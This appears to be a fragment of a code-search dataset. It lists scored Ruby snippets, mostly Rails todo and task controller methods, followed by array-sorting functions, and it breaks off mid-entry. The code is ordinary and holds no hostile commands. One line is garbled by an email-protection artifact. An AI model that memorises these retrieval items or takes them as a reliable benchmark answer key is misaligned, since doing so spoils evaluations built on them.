NotificationsWorker.perform_async(feed.id)\n end\n end\n end\n\n render 'api/tasks/show'\n else\n render :json => {errors: {message: ['wrong task status']}}, :status => 500\n end\n end", "title": "" }, { "docid": "8df70179c1c1ac8f11bff659914db4ba", "score": "0.64675814", "text": "def set_todo\n @todo = Todo.find(params[:id])\n redirect_to login_path unless @todo.list.user == current_user\n end", "title": "" }, { "docid": "0481345e89b4207a30ea0b3afd42d99b", "score": "0.6464412", "text": "def set_to_do\n @to_do = ToDo.find(params[:id])\n end", "title": "" }, { "docid": "0481345e89b4207a30ea0b3afd42d99b", "score": "0.6464412", "text": "def set_to_do\n @to_do = ToDo.find(params[:id])\n end", "title": "" }, { "docid": "0481345e89b4207a30ea0b3afd42d99b", "score": "0.6464412", "text": "def set_to_do\n @to_do = ToDo.find(params[:id])\n end", "title": "" }, { "docid": "01843d5005b6cd251cad238f1ebf99ee", "score": "0.64219415", "text": "def update\n @to_do = ToDo.find(params[:id])\n if @to_do.update_attributes(to_do_params)\n redirect_to to_do_path(@to_do)\n end \n end", "title": "" }, { "docid": "c22a45719a678f87fafa94714c408467", "score": "0.63688666", "text": "def update\n @to_do_item = ToDoItem.find(params[:id])\n unless params[:to_do_item][\"to_do_list_id\"].to_i == @to_do_item.to_do_list_id\n @to_do_item.remove_from_list\n end\n respond_to do |format|\n if @to_do_item.update_attributes(params[:to_do_item])\n format.html { redirect_to @to_do_item, notice: 'To do item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @to_do_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bb89149f92b81da02cc2f65c67ec1db", "score": "0.6360984", "text": "def set_task\n @task = Todotasklist.find_by_id(params[:id])\n if @task\n else\n \trender json: { valid: false}, status: 404\n end\n end", "title": "" }, { "docid": "64efb042c62811120ff6623df4316708", "score": "0.632846", "text": "def fulfilled\n @todo = Todo.find(params[:id])\n @todo.update_attributes({:fulfilled => true})\n redirect_to :controller => 'nemovitosti', :action => 'detail', :id => @todo.property_id\n end", "title": "" }, { "docid": "f8cb6fa6c950735b42269af32362c6a3", "score": "0.63178796", "text": "def update\n params = task_params\n mark_done = params.delete(:mark_done) == \"1\"\n if mark_done\n @task.mark_done\n else \n @task.mark_undone\n end\n respond_to do |format|\n if @task.update(params)\n \n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13b14427c10d67485085aee6c236bc6c", "score": "0.63158256", "text": "def set_done(id)\n task = Task.find(id)\n task.done = true\n task.save\nend", "title": "" }, { "docid": "30edfcea80a42ce4e1c2391b6a129ae3", "score": "0.6313716", "text": "def set_project_todo\n @project_todo = ProjectTodo.find(params[:id])\n end", "title": "" }, { "docid": "e99cb596076243aa8a8c6bfe19e76f35", "score": "0.63077253", "text": "def update\n @todo = @list.todos.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to list_todo_path(@list, @todo), notice: 'Todo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7e17e763c20508b2359e4b0c5d31c6f0", "score": "0.63049984", "text": "def set_listtodo\n @listtodo = Listtodo.find(params[:id])\n end", "title": "" }, { "docid": "0e4dea4a0f338c25334e82303462d6ca", "score": "0.6299797", "text": "def update\n respond_to do |format|\n pre_value = @todo.dup\n if @todo.update(todo_params)\n if @todo.deadline != pre_value.deadline\n event = @todo.target_events.build(content: 'update deadline for todo', target_field: 'content', resultable_type: 'Todo', resultable_id: @todo.id, result_field: 'deadline')\n event.user = current_user\n event.save\n end\n\n if @todo.executor_id != pre_value.executor_id\n event = @todo.target_events.build(content: 'reset executor for todo', target_field: 'content', resultable_type: 'User', resultable_id: params[:executor_id], result_field: 'name')\n event.user = current_user\n event.save\n end\n\n format.html { redirect_back fallback_location: @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0ebef02968e7605c10d8a7e26b3ce5b", "score": "0.62996656", "text": "def done(item)\n @todo_list.each { |todo| todo.update_status if todo.description == item }\n end", "title": "" }, { "docid": "9a377a410c937e8035547a1a6e1b7e81", "score": "0.6275105", "text": "def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "32a0502452026c34ac1f95167ebf4c54", "score": "0.6274143", "text": "def create\n params[:todo] = params[\"todo_\" + params[:id].to_s]\n @todo.user = current_user\n\n if @todo.save\n @status = \"success\"\n @message = \"To-do created successfully.\"\n unless request.xhr?\n flash[:notice] = @message\n redirect_to action: :index\n else\n render @todo\n end\n else\n @status = \"alert\"\n @message = \"To-do could not be created.\"\n unless request.xhr?\n flash[:alert] = @message\n redirect_to :back\n else\n render @todo\n end\n end\n end", "title": "" }, { "docid": "eb4ef03764906facbfe5f3817469684a", "score": "0.6271078", "text": "def set_task\n @task = Task.includes(:todo).find(params[:id])\n @todo = @task.todo\n @list = @todo.list\n end", "title": "" }, { "docid": "f818d3703ee919750a5cf7425437c2a5", "score": "0.62689376", "text": "def set_todo\n\t\t\t@list = current_user.lists.find(params[:list_id])\n @todo = @list.todos.find(params[:id])\n end", "title": "" }, { "docid": "4f03c8df79bb13957157eb973ae43b8a", "score": "0.6268041", "text": "def set_thing_to_do\n @thing_to_do = ThingToDo.find(params[:id])\n end", "title": "" }, { "docid": "4f03c8df79bb13957157eb973ae43b8a", "score": "0.6268041", "text": "def set_thing_to_do\n @thing_to_do = ThingToDo.find(params[:id])\n end", "title": "" }, { "docid": "1594cbcbd235340412899ae3a810a7b0", "score": "0.62670565", "text": "def update\n redirect_to :action => 'new' if @todo.update(todo_params)\n end", "title": "" }, { "docid": "c6e85712d8c6ec992eee487299e958e4", "score": "0.6262306", "text": "def set_not_done(id)\n task = Task.find(id)\n task.done=false\n task.save\nend", "title": "" }, { "docid": "4f41765fee1327c2ec546ac86424bce6", "score": "0.6259465", "text": "def create\n @todoa = Todoa.new(todoa_params)\n @todoa.update_attribute(:user_id, current_user.id)\n @todoa.update_attribute(:done, false)\n respond_to do |format|\n if @todoa.save\n format.html { redirect_to todoas_url }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @todoa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00e6e8480319eb61367ff0df05a341a1", "score": "0.6257876", "text": "def setDone(id)\n new_item = List.find(id)\n new_item.done = true\n new_item.save\n end", "title": "" }, { "docid": "cbe1f8fe12706d28a0f317871a9f8ecc", "score": "0.625628", "text": "def create\n @todo = Todo.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n case params[\"commit\"]\n when \"Save and Back to the project\" then format.html { redirect_to todos_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n when \"Save and Insert\" then format.html {redirect_to new_todo_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n else\n format.html { redirect_to todo_path(:id => @todo.id, :filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n format.json { render json: @todo, status: :created, location: @todo }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "37212b280e1cf0ff3cca50fea060b30c", "score": "0.6256066", "text": "def set_goal_to_do\n @goal_to_do = GoalToDo.find(params[:id])\n end", "title": "" }, { "docid": "5fb35ad9f37aa4c08cb4aaec846b6bf2", "score": "0.6254022", "text": "def update\n @list_to_do = ListToDo.find(params[:id])\n\n respond_to do |format|\n if @list_to_do.update_attributes(params[:list_to_do])\n format.html { redirect_to new_list_to_do_path, notice: 'List to do was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @list_to_do.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "121dddcdff6a5371956ec46bb79d9ec7", "score": "0.625317", "text": "def update\n @project = Project.find(params[:project_id])\n @to_do = @project.to_dos.find(params[:id])\n\n respond_to do |format|\n if @to_do.update_attributes(params[:to_do])\n format.html { redirect_to(@to_do, :notice => 'To do was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @to_do.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d99005f40c7708746bbf787d8ece176a", "score": "0.62422496", "text": "def update\n respond_to do |format|\n if todo_params[:assign_user_id].present? and not todo_params[:assign_user_id].empty?\n @todo.assign_by_user = current_user\n end\n\n old_title = @todo.title\n old_user = @todo.assign_user\n old_deadline = @todo.deadline\n if todo_params[:assign_user_id].present? and todo_params[:assign_user_id].empty?\n @todo.assign_user_id = nil\n @todo.assign_user = nil\n end\n if @todo.update(todo_params)\n # 修改任务\n TodoEvent.create_todo_update(current_user, old_title, @todo) if @todo.title != old_title\n # 指派任务\n TodoEvent.create_todo_assign_to_user(current_user, @todo.assign_user, @todo) if !old_user.present? and @todo.assign_user.present?\n # 修改任务完成者\n TodoEvent.create_todo_update_assigned_user(current_user, old_user, @todo.assign_user, @todo) if old_user.present? and old_user != @todo.assign_user\n # 修改任务完成时间\n TodoEvent.create_todo_update_deadline(current_user, old_deadline, @todo) if old_deadline != @todo.deadline\n\n format.html { redirect_to @todo.project, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e88ca2fefb0583dd73334a55c93997a", "score": "0.624149", "text": "def set_trip_todo\n @trip_todo = TripTodo.find(params[:id])\n end", "title": "" }, { "docid": "53fca5df39dfa59d18f773288149f921", "score": "0.62352014", "text": "def complete\n if @todo_item.update_attribute(:completed, 1)\n flash[:success] = \"todo item marked as completed\"\n redirect_to todo_path(@todo)\n else\n flash[:error] = \"failed to mark item as completed\"\n render 'todos/show'\n end\n end", "title": "" }, { "docid": "7cc075dca0f21767dba9af3206ad3ae4", "score": "0.6226394", "text": "def update\n @project_todo = @project.project_todos.find(params[:id])\n respond_to do |format|\n if @project_todo.update_attributes(params[:project_todo])\n format.html { redirect_to [@project, @project_todo], notice: 'Project todo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b5b8565785bf85be7977fb8d002bad6", "score": "0.62211335", "text": "def update\n @mytask = Task.find(params[:id])\n if @mytask.update({title: params[:task][:title], description: params[:task][:description], completed_at: params[:task][:completed_at], status: params[:task][:status]})\n # redirect_to(@mytask)}\n redirect_to tasks_path\n else\n render \"edit\"\n end\n end", "title": "" }, { "docid": "4655cd4a48fc594a7edf06bc433d8748", "score": "0.6216366", "text": "def todo_params\n params.require(:todo).permit(:task, :status)\n end", "title": "" }, { "docid": "73e80aa22744e92c201c069606623924", "score": "0.6208757", "text": "def update\n @todo = Todo.find(params[:id])\n parameters=params[:todo]\n @proj=Proj.find(parameters[:proj_id])\n @user = User.find(session[:user])\n respond_to do |format|\n if @todo.update_attributes(params[:todo])\n flash[:notice] = 'Todo was successfully updated.'\n format.html { redirect_to(proj_todolists_path(@proj)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @todo.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5158db2d017a4b477a3d3106d42fae0e", "score": "0.61928785", "text": "def switch_to\n task = current_user.tasks.find(params[:id]).switch_to\n\n respond_to do |format|\n if task.save\n format.html { redirect_to(tasks_url, :notice => 'Task was successfully switched back to again.') }\n format.xml { render :xml => task, :status => :created, :location => task }\n else\n format.html { redirect_to(tasks_url, :notice => 'Error! Please try again...') }\n format.xml { render :xml => task.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ddc8d1709c57645e8cc520e7613ff97", "score": "0.6192356", "text": "def read_todo\n update\n end", "title": "" }, { "docid": "b02af45f866becb92b20fe69fb5d979c", "score": "0.61897224", "text": "def set_to_do\n @to_do = current_user.to_dos.find(params[:id]) # ToDo.find(params[:id])\n end", "title": "" }, { "docid": "b5b77b88100582ddf0cc0c4499ae1436", "score": "0.61808264", "text": "def set_todo_item\n @todo_item = @todo_list.todo_items.find(params[:id])\n end", "title": "" }, { "docid": "2b0fdfd4b7e694c89e71d593227b75cb", "score": "0.6180378", "text": "def update\n if @todo.update(todo_params)\n head :no_content\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "150b827cf09359628a0eb51a95facde9", "score": "0.6163828", "text": "def update\n @item = Todo.find(params[:id])\n @item.update(:done => [email protected], :done_at => (@item.done ? nil : DateTime.now)) \n render :json => @item.to_json\n end", "title": "" }, { "docid": "bf601213e783cfc2a501e282f4b12d7f", "score": "0.61596996", "text": "def update\n @todo = Todo.find(params[:id])\n \n # If the button was ther \"Add tag\" button, only need to process the new tag\n if params[:add_tag].present?\n\n # Only call if the given tag exists for the current user\n if current_user.tags.find_by_id(params[:new_tag_id])\n @todo.add_tag_with_id(params[:new_tag_id])\n end\n \n respond_to do |format|\n format.html { redirect_to edit_todo_path, notice: t('todos.success_add') }\n format.json { head :no_content }\n end\n \n # Here, we are doing a regular update of :todo and :done\n else\n \n respond_to do |format|\n # new_tag_id is not an actual attribute of Todo, so it must be removed from\n # the params[:todo] hash before calling update_attributes below\n if @todo.update_attributes(params[:todo])\n format.html { redirect_to root_path, notice: t('todos.success_update') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "ed701a96f45d4a7a6d39c0b05d61bb17", "score": "0.6155163", "text": "def set_todo\n @todo = Todo.find(params[:id])\n return head :forbidden if @list.user_id != current_user.id && @share.is_write != true\n end", "title": "" }, { "docid": "9e17a5756659571cae472e96d2ed829c", "score": "0.6144644", "text": "def update\n @todo = Todo.find(params[:id])\n respond_to do |format|\n if @todo.update(todo_param)\n format.html { redirect_to todos_path, notice: 'Tehtävä päivitetty.' }\n format.json { render :index, status: :ok, location: @todo }\n else\n format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab2cd266fa0b6cdfe577568632009ec6", "score": "0.6140437", "text": "def update\n @todo = Todo.find(params[:id])\n\n respond_to do |format|\n if @todo.update_attributes(todo_params)\n # format.html { redirect_to @todo, notice: 'Todo was successfully updated.' }\n format.json { render :show, status: :ok, location: @todo }\n else\n # format.html { render :edit }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77f124e74102f2ee9d7b270689b0bc53", "score": "0.6139194", "text": "def set_todolist\n @todolist = Todolist.find(params[:id])\n end", "title": "" }, { "docid": "214d5b1e82985bf5e932b7981e319040", "score": "0.6132089", "text": "def mark_tip_todo tip_id\n response = post(\"/tips/#{tip_id}/marktodo\")[\"response\"]\n Foursquared::Response::Todo.new(self, response[\"todo\"])\n end", "title": "" } ]
59de05832958a0ccf21470f742ed83c6
refactored create loop, sorting array each time pop off the last two elements, x & y if their difference (yx) is not zero, push that difference back onto the array now we either have an empty array, meaning we should return 0, or one element left to return
[ { "docid": "6b30dbe973f028a447bba3f080f1f5bb", "score": "0.0", "text": "def last_stone_weight(stones)\n while stones.length > 1\n stones.sort!\n y = stones.pop\n x = stones.pop\n stones.push(y-x) if y-x != 0\n end\n stones.empty? ? 0 : stones[0]\nend", "title": "" } ]
[ { "docid": "00200124ba790b23d9f76a394d106be3", "score": "0.68870884", "text": "def diff_zero( nums )\n\n i = 0\n\n from_back_of_array = nums.length() - 1\n\n # puts(\"from_back_of_array #{from_back_of_array}\")\n\n indices = []\n\n up_one = 1\n\n param_length = nums.length() - 1\n\n # puts(\"param_length #{param_length}\")\n\n\n while( nums.length() > i ) # keeps track of the position ( current element )\n\n # puts( \"start\" )\n\n while( param_length != 0 ) # keeps track of the number of elements so to compare with the current element\n\n # puts( \"nums[ from_back_of_array ] #{nums[ from_back_of_array ]}\" )\n\n # puts(\"nums[ from_back_of_array - up_one ] #{nums[ from_back_of_array - up_one ]}\")\n\n # puts(\"from_back_of_array ] - nums[ from_back_of_array - up_one ] #{ nums[ from_back_of_array ] - nums[ from_back_of_array - up_one ] }\")\n\n if( nums[ from_back_of_array ] - nums[ from_back_of_array - up_one ] == 0 )\n\n # Change above \"-\" ( minus ) to \"+\" for sum of two numbers == 0 !!!\n\n indices.unshift( from_back_of_array )\n indices.unshift( from_back_of_array - up_one )\n\n # the indices are put into the array by accending order from left to right\n # via unshift !!!\n\n # puts( indices )\n return indices\n\n else\n\n # puts( \"no zero\" )\n\n up_one += 1\n\n # puts(\"up_one #{up_one} \")\n\n param_length -= 1\n\n # puts(\"param_length #{param_length}\")\n\n end # if\n\n end # while\n\n from_back_of_array -= 1 # since no zero found, then move to the next element on the left from the current\n\n param_length = from_back_of_array # the remaining times to iterate within the smaller while\n\n # puts(\"param_length #{param_length}\")\n\n up_one = 1 # the left element from the current\n\n # puts( \"end\" )\n\n i += 1\n\n end # large - while\n\n return nil\n\nend", "title": "" }, { "docid": "bdc3f271da1c415668a8e14269d6fd95", "score": "0.6630052", "text": "def ElementMerger2(arr)\n until arr.size == 1\n arr = 1.upto(arr.size-1).each_with_object([]) { |i, a| a << (arr[i] - arr [i-1]).abs }\n end\n return arr.shift \nend", "title": "" }, { "docid": "0930d590010037b1a1601b755c527785", "score": "0.65488374", "text": "def bubble_sort_by arr\n\tarr.length.times do \n\t\t(arr.length-1).times do |i|\n\t\t\tif yield(arr[i], arr[i+1]) < 0\n\t\t\t\tarr[i], arr[i+1] = arr[i+1], arr[i]\n\t\t\tend\n\t\tend\n\tend\n\tarr\nend", "title": "" }, { "docid": "9a6b73001f53eadb4943e656a96ad3e6", "score": "0.6537963", "text": "def hi_cal(arr)\n final_arr = []\n sorted = arr.sort\n start = sorted[0][0]\n stop = sorted[0][1]\n i = 1\n while i < arr.length\n\n if sorted[i][0] > stop + 1\n final_arr << [start, stop]\n start = sorted[i][0]\n stop = sorted[i][1]\n elsif sorted[i][1] > stop\n stop = sorted[i][1]\n end\n\n i += 1\n end\n\n final_arr << [start, stop]\n final_arr\nend", "title": "" }, { "docid": "f47fb927785cc7f7cc741b4e36bc9c89", "score": "0.65095603", "text": "def bubble_sort_by(arr)\n arr2 = []\n arr.length.times do\n (arr.length - 1).times do\n arr[0], arr[1] = arr[1], arr[0] if yield(arr) <= 0\n arr.push(arr.shift)\n end\n arr2.push(arr.shift)\n print \"#{arr2}\\n\"\n end\n arr2\nend", "title": "" }, { "docid": "0054a359949e0662c0772da90e9dd8dd", "score": "0.6459145", "text": "def sortedSquaredArray(a)\n i=0\n j=a.size - 1\n r=[]\n while i < j \n x=a[i]**2\n y=a[j]**2\n if x == y \n r.unshift(x)\n r.unshift(y) \n i+=1\n j-=1\n elsif x > y \n r.unshift(x)\n i+=1\n else\n r.unshift(y)\n j-=1\n end\n end\n r.unshift(a[i]**2) if i==j\n r\nend", "title": "" }, { "docid": "e69494f16f28b6db15371f67b6dcfd66", "score": "0.64368594", "text": "def compare_2elements(array)\n array_of_arrays = []\n first_index = 0\n second_index = 1\n last_element = nil\n\n last_element = return_last_element(array)\n if last_element != nil\n pop_last_element(array)\n #puts \"I am popping last element from array: #{array}\"\n end\n\n array.each do |num|\n #puts \"num: #{num}, Original array: #{array}\"\n if array[first_index] == nil\n #puts \"Array.last: #{array.last}\"\n break\n elsif array[first_index] > array[second_index]\n inner_array = [array[second_index], array[first_index]]\n elsif array[first_index] < array[second_index]\n inner_array = [array[first_index], array[second_index]]\n end #end if statement\n array_of_arrays << inner_array\n first_index += 2\n second_index += 2\n\n #puts \"index1: #{first_index}, index2: #{second_index}, array: #{array_of_arrays}\"\n #puts nil\n end #end each loop\n\n if last_element != nil\n #puts \"I'm adding last element back: #{last_element}\"\n inner_array = []\n add_last_element(last_element, inner_array)\n array_of_arrays << inner_array\n end\n\n #puts \"Final array: #{array_of_arrays}\"\n #binding.pry\n\n return array_of_arrays\n\nend", "title": "" }, { "docid": "79bf38e060e5ec0e20b0e65a6e6a90f5", "score": "0.6432876", "text": "def stock_picker(arr)\nleft_operand_index = arr.length - 1\nright_operand_index = arr.length - 1\narray_of_results = []\nuntil left_operand_index <= 0 && right_operand_index <= 0\n result = arr[right_operand_index] - arr[left_operand_index]\n left_operand_index -= 1 \n @live_array = array_of_results << right_operand_index\n @live_array = array_of_results << left_operand_index + 1\n @live_array = array_of_results << result\n if left_operand_index < 0 && left_operand_index < right_operand_index\n right_operand_index -= 1\n left_operand_index = arr.length - 1 \n end\nend\narray_of_arrays_of_results = array_of_results.each_slice(3).to_a\nb = array_of_arrays_of_results.select do\n |a| a[1] > a[0]\nend\narray_without_useless_arrays = array_of_arrays_of_results - b\nc = array_without_useless_arrays.map do\n |a| b = []\n b << a[2]\nend\nc.flatten!\nd = c.max\ne = array_without_useless_arrays.find do\n |n| n[2] == d\n end\ne.flatten!\ne.pop\ne.reverse!\nprint e\nend", "title": "" }, { "docid": "607653a563fad0ef77ba63472c9abe8f", "score": "0.6404163", "text": "def trim_array\n\t\tyStart, yEnd, xStart, xEnd = Array.new(4,-1)\n\t\tfor y in ([email protected])\n\t\t\thasZero = false\n\t\t\tfor x in (0...@array[0].length)\n\t\t\t\tif !hasZero\n\t\t\t\t\tif @array[y][x] == 0\n\t\t\t\t\t\thasZero = true\n\t\t\t\t\t\tif yStart < 0\n\t\t\t\t\t\t\tyStart = y\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif yStart>=0 && yEnd<0 && !hasZero\n\t\t\t\tyEnd = y-1\n\t\t\tend\n\t\tend\n\t\tif yStart < 0\n\t\t\tyStart = 0\n\t\tend\n\t\tif yEnd < 0\n\t\t\tyEnd = @array.length-1\n\t\tend\n\t\tfor x in (0...@array[0].length)\n\t\t\thasZero = false\n\t\t\tfor y in ([email protected])\n\t\t\t\tif !hasZero\n\t\t\t\t\tif @array[y][x] == 0\n\t\t\t\t\t\thasZero = true\n\t\t\t\t\t\tif xStart < 0\n\t\t\t\t\t\t\txStart = x\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\tif xStart>=0 && xEnd<0 && !hasZero\n\t\t\t\txEnd = x-1\n\t\t\tend\n\t\tend\n\t\tif xStart < 0\n\t\t\txStart = 0\n\t\tend\n\t\tif xEnd < 0\n\t\t\txEnd = @array[0].length-1\n\t\tend\n\t\ttempArray = @array\n\t\t@array = Array.new(yEnd-yStart+1){Array.new(xEnd-xStart+1)}\n\t\tfor y in ([email protected])\n\t\t\tfor x in (0...@array[0].length)\n\t\t\t\t@array[y][x] = tempArray[yStart+y][xStart+x]\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "25c2362e0fdd88750d54ebbf978582a9", "score": "0.6400969", "text": "def wiggle_sort(nums_array)\n wiggle_sorted_array = []\n wiggle_sorted_array << nums_array.sort!.shift\n until nums_array.empty? do\n comp_array = nums_array.shift(2)\n wiggle_sorted_array << comp_array[1]\n wiggle_sorted_array << comp_array[0]\n end\n wiggle_sorted_array\nend", "title": "" }, { "docid": "bf01d6da2a2cf2696539bf9f8f3d8e7c", "score": "0.6395581", "text": "def buble_sort_by(arr)\n sorted = false\n until sorted\n sorted = true\n i = 0\n while i < arr.length - 1\n if yield(arr[i],arr[i+1]) < 0\n arr[i],arr[i+1] = arr[i+1],arr[i]\n sorted = false\n end\n i+=1\n end\n end\n arr\nend", "title": "" }, { "docid": "ae78ce90e5a6a892f9c6477ddfbf98e4", "score": "0.63715315", "text": "def bubble_sort_by array\n # Repeat iteration as much as needed\n for j in (0...array.length) do\n # Iterate over array to compare adjacent values\n for i in (0...array.length - 1) do\n # Give control to the block and store result in 'value'\n value = yield(array[i], array[i+1])\n if value > 0\n array[i], array[i+1] = array[i+1], array[i]\n end\n end\n end\n return array\nend", "title": "" }, { "docid": "8442f1a8d62abc8e8ac017c272056520", "score": "0.63596606", "text": "def missing array\n return [] if array.size < 2\n output = []\n\n array.each_index do |index|\n if (index + 1) < array.size && (array[index + 1] - array[index]) > 1\n ((array[index] + 1)..(array[index + 1] - 1)).each { |n| output << n }\n end\n end\n\n output\nend", "title": "" }, { "docid": "5bee3e0f7b15ce8502c476965278d1de", "score": "0.6346416", "text": "def cutTheSticks(arr)\n size = arr.count\n i = size\n r = [size]\n while i > 1\n break if arr.empty?\n minus = Array.new(arr.count, arr.min)\n res = arr.each_with_index.map{|a, i| a - minus[i]}\n res -= [0]\n r << r.last - (arr.count - res.count)\n arr = res\n i -= 1\n end\nr -= [0]\nend", "title": "" }, { "docid": "584b06fbbf92bcfdac1ec3cae0fbf36d", "score": "0.6312056", "text": "def behaviour_one(ary)\n ary2 = []\n ary.each do |ary_element|\n ary3 = []\n ary2.each do |i|\n if !ary_element.nil? && ary_element < i\n ary3 << ary_element\n ary_element = nil\n end\n ary3.push(i)\n end\n ary3 << ary_element unless ary_element.nil?\n ary2 = ary3\n end\n ary2\nend", "title": "" }, { "docid": "88513772576949e2f65f4026a457e865", "score": "0.6307708", "text": "def bubble_sort_by(array)\n issorthappen = false;\n for i in 1..array.length\n issorthappen = false;\n for j in 0..array.length-2\n if (yield array[j],array[j+1]).to_i > 0\n array[j],array[j+1] = array[j+1],array[j];\n issorthappen = true;\n end;\n end;\n return array unless issorthappen;\n end;\n return array;\nend", "title": "" }, { "docid": "25113317308775f82df8f86e65ed28c7", "score": "0.6287145", "text": "def bubble_sort_by(arr)\n\t(0...arr.length-1).each do\n\t\t(0...arr.length-1).each do |current|\n\t\t\tif yield(arr[current], arr[current + 1]) > 0\n\t\t\t\tarr[current], arr[current+1] = arr[current+1], arr[current]\n\t\t\tend\n\t\tend\n\tend\n\treturn arr\nend", "title": "" }, { "docid": "f6436e260a0187e8e9460cdad47f4917", "score": "0.62826127", "text": "def big_diff(array)\n return array.sort!.pop - array.pop\nend", "title": "" }, { "docid": "d1824c5684e525333855c3685ed4eb0d", "score": "0.6280804", "text": "def peak_finder(arr)\n new_arr = []\n arr.unshift(0)\n arr.push(0)\n (1..arr.length - 2).each do |idx|\n if arr[idx] > arr[idx + 1] && arr[idx] > arr[idx - 1]\n new_arr << arr[idx]\n end\n end\n new_arr\nend", "title": "" }, { "docid": "ee380fe3beb1d60d9b88598213c45ccb", "score": "0.62701106", "text": "def getHeight(arr)\n # Write your code here\n arr.sort!\n \n \n\n (1...arr.length).each do |idx|\n while (arr[idx] - arr[idx-1]) > 1\n arr[idx]-=1\n end\n end\n\n\n arr.last\nend", "title": "" }, { "docid": "c3a5d3124b96209824a6c39eb1a48363", "score": "0.6267328", "text": "def bubble_sort_by(array)\n last_left_elem = -2\n\n loop do\n break if array[last_left_elem].nil?\n\n array[0..last_left_elem].each.with_index do |element, index|\n result = yield(array[index], array[index+1])\n\n if result > 0\n array[index], array[index+1] = array[index+1], array[index]\n end\n end\n\n last_left_elem -= 1\n end\n\n array\nend", "title": "" }, { "docid": "0d05859abf20046accb75f419b2987b8", "score": "0.6227663", "text": "def sortByHeight(a)\n x = a.select { |i| i > 0 }.sort\n a.map { |i| i > 0 ? x.shift : -1 }\nend", "title": "" }, { "docid": "8dd91884f891ef8386cb40763ec7432d", "score": "0.62158155", "text": "def day_trader(arr)\n max = 0\n result = []\n len=arr.length\n for i in 0..len-2\n for j in i+1..len-1\n if max < (arr[j] - arr[i])\n max= arr[j] -arr[i]\n result[0] = i\n result[1] = j\n end\n end\n end\n return result\nend", "title": "" }, { "docid": "fb403e57bd8c30e7edaad080cd03e417", "score": "0.62146246", "text": "def bubble_sort(array)\n return array if array.size < 2\n (array.size - 2).downto(0) do |i|\n (0 .. i).each do |j|\n release_num1 = begin array[j][1].to_i rescue 0 end\n release_num2 = begin array[j + 1][1].to_i rescue 0 end\n array[j], array[j + 1] = array[j + 1], array[j] if release_num1 <= release_num2\n end\n end\n return array\n end", "title": "" }, { "docid": "1b62fddd8269efef9c25657df28fe696", "score": "0.620579", "text": "def zero_sort(array)\n end", "title": "" }, { "docid": "092ace206295e3222c40f25918317323", "score": "0.62040555", "text": "def almostSorted(a)\n ups = []\n dips = []\n a.each_index do |i|\n next if i == 0 || i == a.size - 1\n if a[i] > a[i - 1] && a[i] > a[i + 1]\n dips << i\n elsif a[i] < a[i - 1] && a[i] < a[i + 1]\n ups << i\n end\n end\n if a.last < a.first\n 2.times do\n dips.unshift(0)\n ups.push(a.size - 1)\n end\n end\n puts \"#{ups.inspect} #{dips.inspect}\"\n if dips.empty? && ups.empty?\n puts \"yes\"\n elsif dips.size == 1 && ups.size == 1 && ups.first > a.first && dips.first < a.last\n puts \"yes\"\n operator = ((dips.first - ups.first).abs == 1 ? 'swap' : 'reverse')\n puts \"#{operator} #{dips.first + 1} #{ups.first + 1}\"\n elsif dips.size == 2 && ups.size == 2 && (ups.sum - dips.sum).abs == 2\n puts \"yes\"\n puts \"swap #{dips.first + 1} #{ups.last + 1}\"\n else\n puts 